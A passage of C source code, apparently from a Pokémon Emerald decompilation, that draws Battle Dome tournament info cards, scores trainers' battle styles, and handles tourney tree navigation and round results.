palSlot + 12, TAG_NONE); if (flags & MOVE_CARD) gSprites[sInfoCard->spriteIds[arrId]].invisible = TRUE; // Create party mon icons for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { if (trainerId == TRAINER_PLAYER) { sInfoCard->spriteIds[2 + i + arrId] = CreateMonIcon(DOME_MONS[trainerTourneyId][i], SpriteCB_MonIconDomeInfo, x | sInfoTrainerMonX[i], y + sInfoTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.priority = 0; } else if (trainerId == TRAINER_FRONTIER_BRAIN) { sInfoCard->spriteIds[2 + i + arrId] = CreateMonIcon(DOME_MONS[trainerTourneyId][i], SpriteCB_MonIconDomeInfo, x | sInfoTrainerMonX[i], y + sInfoTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.priority = 0; } else { sInfoCard->spriteIds[2 + i + arrId] = CreateMonIcon(gFacilityTrainerMons[DOME_MONS[trainerTourneyId][i]].species, SpriteCB_MonIconDomeInfo, x | sInfoTrainerMonX[i], y + sInfoTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.priority = 0; } if (flags & MOVE_CARD) gSprites[sInfoCard->spriteIds[2 + i + arrId]].invisible = TRUE; } // Initialize the text printer textPrinter.fontId = FONT_SHORT; textPrinter.x = 0; textPrinter.y = 0; textPrinter.currentX = textPrinter.x; textPrinter.currentY = textPrinter.y; textPrinter.letterSpacing = 2; textPrinter.lineSpacing = 0; textPrinter.unk = 0; textPrinter.fgColor = TEXT_DYNAMIC_COLOR_5; textPrinter.bgColor = TEXT_COLOR_TRANSPARENT; textPrinter.shadowColor = TEXT_DYNAMIC_COLOR_4; // Get class and trainer name i = 0; if (trainerId == TRAINER_PLAYER) j = gFacilityClassToTrainerClass[FACILITY_CLASS_BRENDAN]; else if (trainerId == TRAINER_FRONTIER_BRAIN) j = GetDomeBrainTrainerClass(); else j = GetFrontierOpponentClass(trainerId); for (;gTrainerClassNames[j][i] != EOS; i++) gStringVar1[i] = gTrainerClassNames[j][i]; gStringVar1[i] = CHAR_SPACE; gStringVar1[i + 1] = EOS; if (trainerId == TRAINER_PLAYER) { StringAppend(gStringVar1, gSaveBlock2Ptr->playerName); } else if (trainerId == TRAINER_FRONTIER_BRAIN) { CopyDomeBrainTrainerName(gStringVar2); StringAppend(gStringVar1, gStringVar2); } else { CopyDomeTrainerName(gStringVar2, trainerId); StringAppend(gStringVar1, gStringVar2); } // Print class and trainer name textPrinter.currentX = GetStringCenterAlignXOffsetWithLetterSpacing(textPrinter.fontId, gStringVar1, 0xD0, textPrinter.letterSpacing); textPrinter.currentChar = gStringVar1; textPrinter.windowId = windowId; PutWindowTilemap(windowId); CopyWindowToVram(windowId, COPYWIN_FULL); AddTextPrinter(&textPrinter, 0, NULL); textPrinter.letterSpacing = 0; // Print names of the party mons for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { textPrinter.currentY = sSpeciesNameTextYCoords[i]; if (trainerId == TRAINER_PLAYER) textPrinter.currentChar = gSpeciesNames[DOME_MONS[trainerTourneyId][i]]; else if (trainerId == TRAINER_FRONTIER_BRAIN) textPrinter.currentChar = gSpeciesNames[DOME_MONS[trainerTourneyId][i]]; else textPrinter.currentChar = gSpeciesNames[gFacilityTrainerMons[DOME_MONS[trainerTourneyId][i]].species]; textPrinter.windowId = 1 + i + windowId; if (i == 1) textPrinter.currentX = 7; else textPrinter.currentX = 0; PutWindowTilemap(1 + i + windowId); CopyWindowToVram(1 + i + windowId, COPYWIN_FULL); AddTextPrinter(&textPrinter, 0, NULL); } PutWindowTilemap(windowId + 4); CopyWindowToVram(windowId + 4, COPYWIN_FULL); // Print text about trainers potential in the tourney if (trainerId == TRAINER_FRONTIER_BRAIN) textPrinter.currentChar = sBattleDomePotentialTexts[DOME_TOURNAMENT_TRAINERS_COUNT]; else textPrinter.currentChar = sBattleDomePotentialTexts[trainerTourneyId]; textPrinter.fontId = FONT_NORMAL; textPrinter.windowId = windowId + 4; textPrinter.currentX = 0; textPrinter.y = 4; textPrinter.currentY = 4; AddTextPrinter(&textPrinter, 0, NULL); // Calculate move scores to determine the trainers battle style for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { for (j = 0; j < MAX_MON_MOVES; j++) { for (k = 0; k < NUM_MOVE_POINT_TYPES; k++) { if (trainerId == TRAINER_FRONTIER_BRAIN) allocatedArray[k] += sBattleStyleMovePoints[GetFrontierBrainMonMove(i, j)][k]; else if (trainerId == TRAINER_PLAYER) allocatedArray[k] += sBattleStyleMovePoints[gSaveBlock2Ptr->frontier.domePlayerPartyData[i].moves[j]][k]; else allocatedArray[k] += sBattleStyleMovePoints[gFacilityTrainerMons[DOME_MONS[trainerTourneyId][i]].moves[j]][k]; } } } // Get the battle style the trainer uses // Each element of sBattleStyleThresholds is an array of point thresholds for particular move qualities // If all the point thresholds in the array are satisfied, the player is considered to be using that battle style for (i = 0; i < ARRAY_COUNT(sBattleStyleThresholds); i++) { int thresholdStatCount = 0; for (k = 0, j = 0; j < NUM_MOVE_POINT_TYPES; j++) { if (sBattleStyleThresholds[i][j] != 0) { thresholdStatCount++; if (allocatedArray[j] != 0 && allocatedArray[j] >= sBattleStyleThresholds[i][j]) k++; // number of point thresholds met/exceeded } } if (thresholdStatCount == k) break; // All thresholds for battle style met/exceeded, player uses this battle style } // Print the trainers battle style textPrinter.currentChar = sBattleDomeOpponentStyleTexts[i]; textPrinter.y = 20; textPrinter.currentY = 20; AddTextPrinter(&textPrinter, 0, NULL); for (i = 0; i < ALLOC_ARRAY_SIZE; i++) allocatedArray[i] = 0; // Calculate EV/nature points for the stat portion of battle style if (trainerId == TRAINER_FRONTIER_BRAIN || trainerId == TRAINER_PLAYER) { for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { // Add the EVs for this mon for (j = 0; j < NUM_STATS; j++) { if (trainerId == TRAINER_FRONTIER_BRAIN) allocatedArray[j] = GetFrontierBrainMonEvs(i, j); else allocatedArray[j] = gSaveBlock2Ptr->frontier.domePlayerPartyData[i].evs[j]; } // HP doesnt have a nature modifier, so just add it here allocatedArray[NUM_STATS] += allocatedArray[STAT_HP]; // Add the EVs with the nature modifier for this mon and and track number of negative natures for (j = 0; j < NUM_NATURE_STATS; j++) { if (trainerId == TRAINER_FRONTIER_BRAIN) nature = GetFrontierBrainMonNature(i); else nature = gSaveBlock2Ptr->frontier.domePlayerPartyData[i].nature; if (gNatureStatTable[nature][j] > 0) { allocatedArray[j + NUM_STATS + 1] += (allocatedArray[j + 1] * 110) / 100; } else if (gNatureStatTable[nature][j] < 0) { allocatedArray[j + NUM_STATS + 1] += (allocatedArray[j + 1] * 90) / 100; allocatedArray[j + NUM_STATS + NUM_NATURE_STATS + 2]++; } else { allocatedArray[j + NUM_STATS + 1] += allocatedArray[j + 1]; } } } for (j = 0, i = 0; i < NUM_STATS; i++) j += allocatedArray[NUM_STATS + i]; for (i = 0; i < NUM_STATS; i++) allocatedArray[i] = (allocatedArray[NUM_STATS + i] * 100) / j; } // Same as above but for regular trainers instead of the frontier brain or player else { for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { int evBits = gFacilityTrainerMons[DOME_MONS[trainerTourneyId][i]].evSpread; for (k = 0, j = 0; j < NUM_STATS; j++) { allocatedArray[j] = 0; if (evBits & 1) k++; evBits >>= 1; } k = MAX_TOTAL_EVS / k; evBits = gFacilityTrainerMons[DOME_MONS[trainerTourneyId][i]].evSpread; for (j = 0; j < NUM_STATS; j++) { if (evBits & 1) allocatedArray[j] = k; evBits >>= 1; } allocatedArray[NUM_STATS] += allocatedArray[STAT_HP]; for (j = 0; j < NUM_NATURE_STATS; j++) { nature = gFacilityTrainerMons[DOME_MONS[trainerTourneyId][i]].nature; if (gNatureStatTable[nature][j] > 0) { allocatedArray[j + NUM_STATS + 1] += (allocatedArray[j + 1] * 110) / 100; } else if (gNatureStatTable[nature][j] < 0) { allocatedArray[j + NUM_STATS + 1] += (allocatedArray[j + 1] * 90) / 100; allocatedArray[j + NUM_STATS + NUM_NATURE_STATS + 2]++; } else { allocatedArray[j + NUM_STATS + 1] += allocatedArray[j + 1]; } } } for (j = 0, i = 0; i < NUM_STATS; i++) j += allocatedArray[i + NUM_STATS]; for (i = 0; i < NUM_STATS; i++) allocatedArray[i] = (allocatedArray[NUM_STATS + i] * 100) / j; } // Count the number of good/bad stats for the party // i is the number of good stats, j is the number of bad stats for (i = 0, j = 0, k = 0; k < NUM_STATS; k++) { // Any stat above 29 EVs is considered good if (allocatedArray[k] > 29) { // If 2 good stats have been found already, choose which to use if (i == 2) { if (allocatedArray[6] < allocatedArray[k]) { if (allocatedArray[7] < allocatedArray[k]) { if (allocatedArray[6] < allocatedArray[7]) { allocatedArray[6] = allocatedArray[7]; allocatedArray[7] = k; } else { allocatedArray[7] = k; } } else { allocatedArray[6] = allocatedArray[7]; allocatedArray[7] = k; } } else { if (allocatedArray[7] < allocatedArray[k]) allocatedArray[7] = k; } } else { allocatedArray[i + 6] = k; i++; } } // Any stat with 0 EVs is considered bad if (allocatedArray[k] == 0) { // If 2 bad stats have been found already, choose which to use if (j == 2) { if (allocatedArray[k + 12] >= 2 || ((allocatedArray[k + 12] == 1 && allocatedArray[12 + allocatedArray[8]] == 0 && allocatedArray[12 + allocatedArray[9]] == 0) ) ) { allocatedArray[8] = allocatedArray[9]; allocatedArray[9] = k; } else if (allocatedArray[k + 12] == 1 && allocatedArray[12 + allocatedArray[8]] == 0) { allocatedArray[8] = allocatedArray[9]; allocatedArray[9] = k; } else if (allocatedArray[k + 12] == 1 && allocatedArray[12 + allocatedArray[9]] == 0) { allocatedArray[9] = k; } } else { allocatedArray[j + 8] = k; j++; } } } // Get the string ID to display which stats are good/bad if (i == 2) i = sStatTextOffsets[allocatedArray[6]] + (allocatedArray[7] - (allocatedArray[6] + 1)) + DOME_TEXT_TWO_GOOD_STATS; else if (i == 1) i = allocatedArray[6] + DOME_TEXT_ONE_GOOD_STAT; else if (j == 2) i = sStatTextOffsets[allocatedArray[8]] + (allocatedArray[9] - (allocatedArray[8] + 1)) + DOME_TEXT_TWO_BAD_STATS; else if (j == 1) i = allocatedArray[8] + DOME_TEXT_ONE_BAD_STAT; else i = DOME_TEXT_WELL_BALANCED; // Print the stat text textPrinter.currentChar = sBattleDomeOpponentStatsTexts[i]; textPrinter.y = 36; textPrinter.currentY = 36; AddTextPrinter(&textPrinter, 0, NULL); Free(allocatedArray); } static int BufferDomeWinString(u8 matchNum, u8 *tournamentIds) { int i; u8 tournamentId; int winStringId = 0; int count = 0; // Get winners name for (i = sCompetitorRangeByMatch[matchNum][0]; i < sCompetitorRangeByMatch[matchNum][0] + sCompetitorRangeByMatch[matchNum][1]; i++) { tournamentId = sTourneyTreeTrainerIds2[i]; if (!DOME_TRAINERS[tournamentId].isEliminated) { tournamentIds[count] = tournamentId; if (DOME_TRAINERS[tournamentId].trainerId == TRAINER_PLAYER) StringCopy(gStringVar1, gSaveBlock2Ptr->playerName); else if (DOME_TRAINERS[tournamentId].trainerId == TRAINER_FRONTIER_BRAIN) CopyDomeBrainTrainerName(gStringVar1); else CopyDomeTrainerName(gStringVar1, DOME_TRAINERS[tournamentId].trainerId); count++; } } // Neither trainer has been eliminated, battle hasn't occurred yet if (count == 2) return DOME_TEXT_NO_WINNER_YET; for (i = sCompetitorRangeByMatch[matchNum][0]; i < sCompetitorRangeByMatch[matchNum][0] + sCompetitorRangeByMatch[matchNum][1]; i++) { tournamentId = sTourneyTreeTrainerIds2[i]; if (DOME_TRAINERS[tournamentId].isEliminated && DOME_TRAINERS[tournamentId].eliminatedAt >= sCompetitorRangeByMatch[matchNum][2]) { tournamentIds[count] = tournamentId; count++; if (DOME_TRAINERS[tournamentId].eliminatedAt == sCompetitorRangeByMatch[matchNum][2]) { // Set initial winStringId offset StringCopy(gStringVar2, gMoveNames[gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId]]); winStringId = DOME_TRAINERS[tournamentId].forfeited * 2; // (DOME_TEXT_WON_USING_MOVE - 1) or (DOME_TEXT_WON_ON_FORFEIT - 1) if (gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId] == MOVE_NONE && DOME_TRAINERS[tournamentId].forfeited == FALSE) winStringId = DOME_TEXT_WON_NO_MOVES - 1; } else { if (DOME_TRAINERS[tournamentId].trainerId == TRAINER_PLAYER) StringCopy(gStringVar1, gSaveBlock2Ptr->playerName); else if (DOME_TRAINERS[tournamentId].trainerId == TRAINER_FRONTIER_BRAIN) CopyDomeBrainTrainerName(gStringVar1); else CopyDomeTrainerName(gStringVar1, DOME_TRAINERS[tournamentId].trainerId); } } if (count == 2) break; } if (matchNum == DOME_TOURNAMENT_MATCHES_COUNT - 1) return winStringId + 2; // use DOME_TEXT_CHAMP_* else return winStringId + 1; // use DOME_TEXT_WON_* } static void DisplayMatchInfoOnCard(u8 flags, u8 matchNo) { struct TextPrinterTemplate textPrinter; int tournamentIds[2]; int trainerIds[2]; bool32 lost[2]; int i; int winStringId = 0; int arrId = 0; int windowId = 0; int x = 0, y = 0; u8 palSlot = 0; if (flags & CARD_ALTERNATE_SLOT) arrId = 2 * (FRONTIER_PARTY_SIZE + 1), windowId = 9, palSlot = 2; if (flags & MOVE_CARD_RIGHT) x = DISPLAY_WIDTH + 16; if (flags & MOVE_CARD_DOWN) y = DISPLAY_HEIGHT; if (flags & MOVE_CARD_LEFT) x = -(DISPLAY_WIDTH + 16); if (flags & MOVE_CARD_UP) y = -DISPLAY_HEIGHT; // Copy trainers information to handy arrays. winStringId = BufferDomeWinString(matchNo, sInfoCard->tournamentIds); for (i = 0; i < NUM_INFOCARD_TRAINERS; i++) { tournamentIds[i] = sInfoCard->tournamentIds[i]; trainerIds[i] = DOME_TRAINERS[tournamentIds[i]].trainerId; if (DOME_TRAINERS[tournamentIds[i]].eliminatedAt <= sCompetitorRangeByMatch[matchNo][2] && DOME_TRAINERS[tournamentIds[i]].isEliminated) lost[i] = TRUE; else lost[i] = FALSE; } // Draw left trainer sprite. if (trainerIds[0] == TRAINER_PLAYER) sInfoCard->spriteIds[arrId] = CreateTrainerPicSprite(PlayerGenderToFrontTrainerPicId(gSaveBlock2Ptr->playerGender), TRUE, x + 48, y + 88, palSlot + 12, TAG_NONE); else if (trainerIds[0] == TRAINER_FRONTIER_BRAIN) sInfoCard->spriteIds[arrId] = CreateTrainerPicSprite(GetDomeBrainTrainerPicId(), TRUE, x + 48, y + 88, palSlot + 12, TAG_NONE); else sInfoCard->spriteIds[arrId] = CreateTrainerPicSprite(GetFrontierTrainerFrontSpriteId(trainerIds[0]), TRUE, x + 48, y + 88, palSlot + 12, TAG_NONE); if (flags & MOVE_CARD) gSprites[sInfoCard->spriteIds[arrId]].invisible = TRUE; if (lost[0]) gSprites[sInfoCard->spriteIds[arrId]].oam.paletteNum = 3; // Draw right trainer sprite. if (trainerIds[1] == TRAINER_PLAYER) sInfoCard->spriteIds[1 + arrId] = CreateTrainerPicSprite(PlayerGenderToFrontTrainerPicId(gSaveBlock2Ptr->playerGender), TRUE, x + 192, y + 88, palSlot + 13, TAG_NONE); else if (trainerIds[1] == TRAINER_FRONTIER_BRAIN) sInfoCard->spriteIds[1 + arrId] = CreateTrainerPicSprite(GetDomeBrainTrainerPicId(), TRUE, x + 192, y + 88, palSlot + 13, TAG_NONE); else sInfoCard->spriteIds[1 + arrId] = CreateTrainerPicSprite(GetFrontierTrainerFrontSpriteId(trainerIds[1]), TRUE, x + 192, y + 88, palSlot + 13, TAG_NONE); if (flags & MOVE_CARD) gSprites[sInfoCard->spriteIds[1 + arrId]].invisible = TRUE; if (lost[1]) gSprites[sInfoCard->spriteIds[1 + arrId]].oam.paletteNum = 3; // Draw left trainer's Pokémon icons. for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { if (trainerIds[0] == TRAINER_PLAYER) { sInfoCard->spriteIds[2 + i + arrId] = CreateMonIcon(DOME_MONS[tournamentIds[0]][i], SpriteCB_MonIconDomeInfo, x | sLeftTrainerMonX[i], y + sLeftTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.priority = 0; } else if (trainerIds[0] == TRAINER_FRONTIER_BRAIN) { sInfoCard->spriteIds[2 + i + arrId] = CreateMonIcon(DOME_MONS[tournamentIds[0]][i], SpriteCB_MonIconDomeInfo, x | sLeftTrainerMonX[i], y + sLeftTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.priority = 0; } else { sInfoCard->spriteIds[2 + i + arrId] = CreateMonIcon(gFacilityTrainerMons[DOME_MONS[tournamentIds[0]][i]].species, SpriteCB_MonIconDomeInfo, x | sLeftTrainerMonX[i], y + sLeftTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.priority = 0; } if (flags & MOVE_CARD) gSprites[sInfoCard->spriteIds[2 + i + arrId]].invisible = TRUE; if (lost[0]) { gSprites[sInfoCard->spriteIds[2 + i + arrId]].oam.paletteNum = 3; gSprites[sInfoCard->spriteIds[2 + i + arrId]].sMonIconStill = TRUE; } } // Draw right trainer's Pokémon icons. for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { if (trainerIds[1] == TRAINER_PLAYER) { sInfoCard->spriteIds[5 + i + arrId] = CreateMonIcon(DOME_MONS[tournamentIds[1]][i], SpriteCB_MonIconDomeInfo, x | sRightTrainerMonX[i], y + sRightTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[5 + i + arrId]].oam.priority = 0; } else if (trainerIds[1] == TRAINER_FRONTIER_BRAIN) { sInfoCard->spriteIds[5 + i + arrId] = CreateMonIcon(DOME_MONS[tournamentIds[1]][i], SpriteCB_MonIconDomeInfo, x | sRightTrainerMonX[i], y + sRightTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[5 + i + arrId]].oam.priority = 0; } else { sInfoCard->spriteIds[5 + i + arrId] = CreateMonIcon(gFacilityTrainerMons[DOME_MONS[tournamentIds[1]][i]].species, SpriteCB_MonIconDomeInfo, x | sRightTrainerMonX[i], y + sRightTrainerMonY[i], 0, 0, TRUE); gSprites[sInfoCard->spriteIds[5 + i + arrId]].oam.priority = 0; } if (flags & MOVE_CARD) gSprites[sInfoCard->spriteIds[5 + i + arrId]].invisible = TRUE; if (lost[1]) { gSprites[sInfoCard->spriteIds[5 + i + arrId]].oam.paletteNum = 3; gSprites[sInfoCard->spriteIds[5 + i + arrId]].sMonIconStill = TRUE; } } // Print the win string (or 'Let the battle begin!'). textPrinter.x = 0; textPrinter.y = 2; textPrinter.currentX = textPrinter.x; textPrinter.currentY = textPrinter.y; textPrinter.letterSpacing = 0; textPrinter.lineSpacing = 0; textPrinter.unk = 0; textPrinter.fgColor = TEXT_DYNAMIC_COLOR_5; textPrinter.bgColor = TEXT_COLOR_TRANSPARENT; textPrinter.shadowColor = TEXT_DYNAMIC_COLOR_4; StringExpandPlaceholders(gStringVar4, sBattleDomeWinTexts[winStringId]); textPrinter.currentChar = gStringVar4; textPrinter.windowId = windowId + 8; textPrinter.fontId = FONT_NORMAL; PutWindowTilemap(windowId + 8); CopyWindowToVram(windowId + 8, COPYWIN_FULL); textPrinter.currentX = 0; textPrinter.currentY = textPrinter.y = 0; AddTextPrinter(&textPrinter, 0, NULL); // Print left trainer's name. if (trainerIds[0] == TRAINER_PLAYER) StringCopy(gStringVar1, gSaveBlock2Ptr->playerName); else if (trainerIds[0] == TRAINER_FRONTIER_BRAIN) CopyDomeBrainTrainerName(gStringVar1); else CopyDomeTrainerName(gStringVar1, trainerIds[0]); textPrinter.fontId = FONT_SHORT; textPrinter.letterSpacing = 2; textPrinter.currentChar = gStringVar1; textPrinter.windowId = windowId + 6; textPrinter.currentX = GetStringCenterAlignXOffsetWithLetterSpacing(textPrinter.fontId, textPrinter.currentChar, 0x40, textPrinter.letterSpacing); textPrinter.currentY = textPrinter.y = 2; PutWindowTilemap(windowId + 6); CopyWindowToVram(windowId + 6, COPYWIN_FULL); AddTextPrinter(&textPrinter, 0, NULL); // Print right trainer's name. if (trainerIds[1] == TRAINER_PLAYER) StringCopy(gStringVar1, gSaveBlock2Ptr->playerName); else if (trainerIds[1] == TRAINER_FRONTIER_BRAIN) CopyDomeBrainTrainerName(gStringVar1); else CopyDomeTrainerName(gStringVar1, trainerIds[1]); textPrinter.currentChar = gStringVar1; textPrinter.windowId = windowId + 7; textPrinter.currentX = GetStringCenterAlignXOffsetWithLetterSpacing(textPrinter.fontId, textPrinter.currentChar, 0x40, textPrinter.letterSpacing); textPrinter.currentY = textPrinter.y = 2; PutWindowTilemap(windowId + 7); CopyWindowToVram(windowId + 7, COPYWIN_FULL); AddTextPrinter(&textPrinter, 0, NULL); // Print match number. textPrinter.letterSpacing = 0; textPrinter.currentChar = sBattleDomeMatchNumberTexts[matchNo]; textPrinter.windowId = windowId + 5; textPrinter.currentX = GetStringCenterAlignXOffsetWithLetterSpacing(textPrinter.fontId, textPrinter.currentChar, 0xA0, textPrinter.letterSpacing); textPrinter.currentY = textPrinter.y = 2; PutWindowTilemap(windowId + 5); CopyWindowToVram(windowId + 5, COPYWIN_FULL); AddTextPrinter(&textPrinter, 0, NULL); } static void ShowDomeTourneyTree(void) { u8 taskId = CreateTask(Task_ShowTourneyTree, 0); gTasks[taskId].tState = 0; gTasks[taskId].tNotInteractive = FALSE; gTasks[taskId].data[2] = 2; gTasks[taskId].tIsPrevTourneyTree = FALSE; SetMainCallback2(CB2_TourneyTree); } // To show the results of the last tourney on the computer in the lobby static void ShowPreviousDomeTourneyTree(void) { u8 taskId; SetFacilityTrainerAndMonPtrs(); gSaveBlock2Ptr->frontier.lvlMode = gSaveBlock2Ptr->frontier.domeLvlMode - 1; gSaveBlock2Ptr->frontier.curChallengeBattleNum = DOME_FINAL; taskId = CreateTask(Task_ShowTourneyTree, 0); gTasks[taskId].tState = 0; gTasks[taskId].tNotInteractive = FALSE; gTasks[taskId].data[2] = 2; gTasks[taskId].tIsPrevTourneyTree = TRUE; SetMainCallback2(CB2_TourneyTree); } // Task states for Task_HandleTourneyTreeInput #define STATE_FADE_IN 0 #define STATE_WAIT_FADE 1 #define STATE_GET_INPUT 2 #define STATE_SHOW_INFOCARD_TRAINER 3 #define STATE_SHOW_INFOCARD_MATCH 5 #define STATE_CLOSE_TOURNEY_TREE 7 static void Task_HandleTourneyTreeInput(u8 taskId) { u8 newTaskId = 0; int spriteId = gTasks[taskId].data[1]; switch (gTasks[taskId].tState) { case STATE_FADE_IN: if (!gPaletteFade.active) { BeginNormalPaletteFade(PALETTES_ALL, 0, 0x10, 0, RGB_BLACK); gTasks[taskId].tState = STATE_WAIT_FADE; StartSpriteAnim(&gSprites[spriteId], 1); } break; case STATE_WAIT_FADE: if (!gPaletteFade.active) gTasks[taskId].tState = STATE_GET_INPUT; break; case STATE_GET_INPUT: switch (UpdateTourneyTreeCursor(taskId)) { case TOURNEY_TREE_SELECTED_CLOSE: default: BeginNormalPaletteFade(PALETTES_ALL, 0, 0, 0x10, RGB_BLACK); gTasks[taskId].tState = STATE_CLOSE_TOURNEY_TREE; break; case TOURNEY_TREE_NO_SELECTION: break; case TOURNEY_TREE_SELECTED_TRAINER: BeginNormalPaletteFade(PALETTES_ALL, 0, 0, 0x10, RGB_BLACK); gTasks[taskId].tState = STATE_SHOW_INFOCARD_TRAINER; break; case TOURNEY_TREE_SELECTED_MATCH: BeginNormalPaletteFade(PALETTES_ALL, 0, 0, 0x10, RGB_BLACK); gTasks[taskId].tState = STATE_SHOW_INFOCARD_MATCH; break; } break; case STATE_SHOW_INFOCARD_TRAINER: if (!gPaletteFade.active) { FreeAllWindowBuffers(); ScanlineEffect_Stop(); FREE_AND_SET_NULL(sTilemapBuffer); newTaskId = CreateTask(Task_ShowTourneyInfoCard, 0); gTasks[newTaskId].tState = 0; gTasks[newTaskId].tTournamentId = sTourneyTreeTrainerIds[spriteId]; gTasks[newTaskId].tMode = INFOCARD_TRAINER; gTasks[newTaskId].tPrevTaskId = taskId; gTasks[taskId].tState = STATE_SHOW_INFOCARD_TRAINER + 1; sInfoCard->pos = 0; } break; case STATE_SHOW_INFOCARD_TRAINER + 1: break; case STATE_SHOW_INFOCARD_MATCH: if (!gPaletteFade.active) { FreeAllWindowBuffers(); ScanlineEffect_Stop(); FREE_AND_SET_NULL(sTilemapBuffer); newTaskId = CreateTask(Task_ShowTourneyInfoCard, 0); gTasks[newTaskId].tState = 0; gTasks[newTaskId].tTournamentId = spriteId - DOME_TOURNAMENT_TRAINERS_COUNT; gTasks[newTaskId].tMode = INFOCARD_MATCH; gTasks[newTaskId].tPrevTaskId = taskId; gTasks[taskId].tState = STATE_SHOW_INFOCARD_MATCH + 1; } break; case STATE_SHOW_INFOCARD_MATCH + 1: break; case STATE_CLOSE_TOURNEY_TREE: if (!gPaletteFade.active) { FreeAllWindowBuffers(); ScanlineEffect_Stop(); FREE_AND_SET_NULL(sTilemapBuffer); SetMainCallback2(CB2_ReturnToFieldContinueScriptPlayMapMusic); DestroyTask(gTasks[taskId].data[7]); DestroyTask(taskId); } break; } } // undefine task states for Task_HandleTourneyTreeInput #undef STATE_FADE_IN #undef STATE_WAIT_FADE #undef STATE_GET_INPUT #undef STATE_SHOW_INFOCARD_TRAINER #undef STATE_SHOW_INFOCARD_MATCH #undef STATE_CLOSE_TOURNEY_TREE #define MOVE_DIR_UP 0 #define MOVE_DIR_DOWN 1 #define MOVE_DIR_LEFT 2 #define MOVE_DIR_RIGHT 3 #define MOVE_DIR_NONE 4 // Move the tourney tree cursor // The 'cursor' is actually just which button sprite is currently doing the 'selected' animation static u8 UpdateTourneyTreeCursor(u8 taskId) { u8 selection = TOURNEY_TREE_NO_SELECTION; int direction = MOVE_DIR_NONE; int tourneyTreeCursorSpriteId = gTasks[taskId].data[1]; int roundId = gSaveBlock2Ptr->frontier.curChallengeBattleNum; if (gMain.newKeys == B_BUTTON || (JOY_NEW(A_BUTTON) && tourneyTreeCursorSpriteId == TOURNEY_TREE_CLOSE_BUTTON)) { PlaySE(SE_SELECT); selection = TOURNEY_TREE_SELECTED_CLOSE; } else if (JOY_NEW(A_BUTTON)) { if (tourneyTreeCursorSpriteId < DOME_TOURNAMENT_TRAINERS_COUNT) { PlaySE(SE_SELECT); selection = TOURNEY_TREE_SELECTED_TRAINER; } else { PlaySE(SE_SELECT); selection = TOURNEY_TREE_SELECTED_MATCH; } } else { if (gMain.newKeys == DPAD_UP && sTourneyTreeCursorMovementMap[tourneyTreeCursorSpriteId][roundId][0] != 0xFF) direction = MOVE_DIR_UP; else if (gMain.newKeys == DPAD_DOWN && sTourneyTreeCursorMovementMap[tourneyTreeCursorSpriteId][roundId][1] != 0xFF) direction = MOVE_DIR_DOWN; else if (gMain.newKeys == DPAD_LEFT && sTourneyTreeCursorMovementMap[tourneyTreeCursorSpriteId][roundId][2] != 0xFF) direction = MOVE_DIR_LEFT; else if (gMain.newKeys == DPAD_RIGHT && sTourneyTreeCursorMovementMap[tourneyTreeCursorSpriteId][roundId][3] != 0xFF) direction = MOVE_DIR_RIGHT; } if (direction != MOVE_DIR_NONE) { PlaySE(SE_SELECT); StartSpriteAnim(&gSprites[tourneyTreeCursorSpriteId], 0); // Do unselected sprite anim tourneyTreeCursorSpriteId = sTourneyTreeCursorMovementMap[tourneyTreeCursorSpriteId][roundId][direction]; StartSpriteAnim(&gSprites[tourneyTreeCursorSpriteId], 1); // Do selected sprite anim gTasks[taskId].data[1] = tourneyTreeCursorSpriteId; } return selection; } #undef MOVE_DIR_UP #undef MOVE_DIR_DOWN #undef MOVE_DIR_LEFT #undef MOVE_DIR_RIGHT #undef MOVE_DIR_NONE // Shows the results of the just-completed round for the current tourney static void ShowNonInteractiveDomeTourneyTree(void) { u8 taskId = CreateTask(Task_ShowTourneyTree, 0); gTasks[taskId].tState = 0; gTasks[taskId].tNotInteractive = TRUE; gTasks[taskId].data[2] = 2; gTasks[taskId].tIsPrevTourneyTree = FALSE; SetMainCallback2(CB2_TourneyTree); } static void ResolveDomeRoundWinners(void) { int i; if (gSpecialVar_0x8005 == DOME_PLAYER_WON_MATCH) { DOME_TRAINERS[TrainerIdToTournamentId(gTrainerBattleOpponent_A)].isEliminated = TRUE; DOME_TRAINERS[TrainerIdToTournamentId(gTrainerBattleOpponent_A)].eliminatedAt = gSaveBlock2Ptr->frontier.curChallengeBattleNum; gSaveBlock2Ptr->frontier.domeWinningMoves[TrainerIdToTournamentId(gTrainerBattleOpponent_A)] = gBattleResults.lastUsedMovePlayer; // If the player's match was the final one, no NPC vs NPC matches to decide if (gSaveBlock2Ptr->frontier.curChallengeBattleNum < DOME_FINAL) DecideRoundWinners(gSaveBlock2Ptr->frontier.curChallengeBattleNum); } else // DOME_PLAYER_LOST_MATCH or DOME_PLAYER_RETIRED { DOME_TRAINERS[TrainerIdToTournamentId(TRAINER_PLAYER)].isEliminated = TRUE; DOME_TRAINERS[TrainerIdToTournamentId(TRAINER_PLAYER)].eliminatedAt = gSaveBlock2Ptr->frontier.curChallengeBattleNum; gSaveBlock2Ptr->frontier.domeWinningMoves[TrainerIdToTournamentId(TRAINER_PLAYER)] = gBattleResults.lastUsedMoveOpponent; if (gBattleOutcome == B_OUTCOME_FORFEITED || gSpecialVar_0x8005 == DOME_PLAYER_RETIRED) DOME_TRAINERS[TrainerIdToTournamentId(TRAINER_PLAYER)].forfeited = TRUE; // Player lost, decide remaining outcome of tournament for (i = gSaveBlock2Ptr->frontier.curChallengeBattleNum; i < DOME_ROUNDS_COUNT; i++) DecideRoundWinners(i); } } // 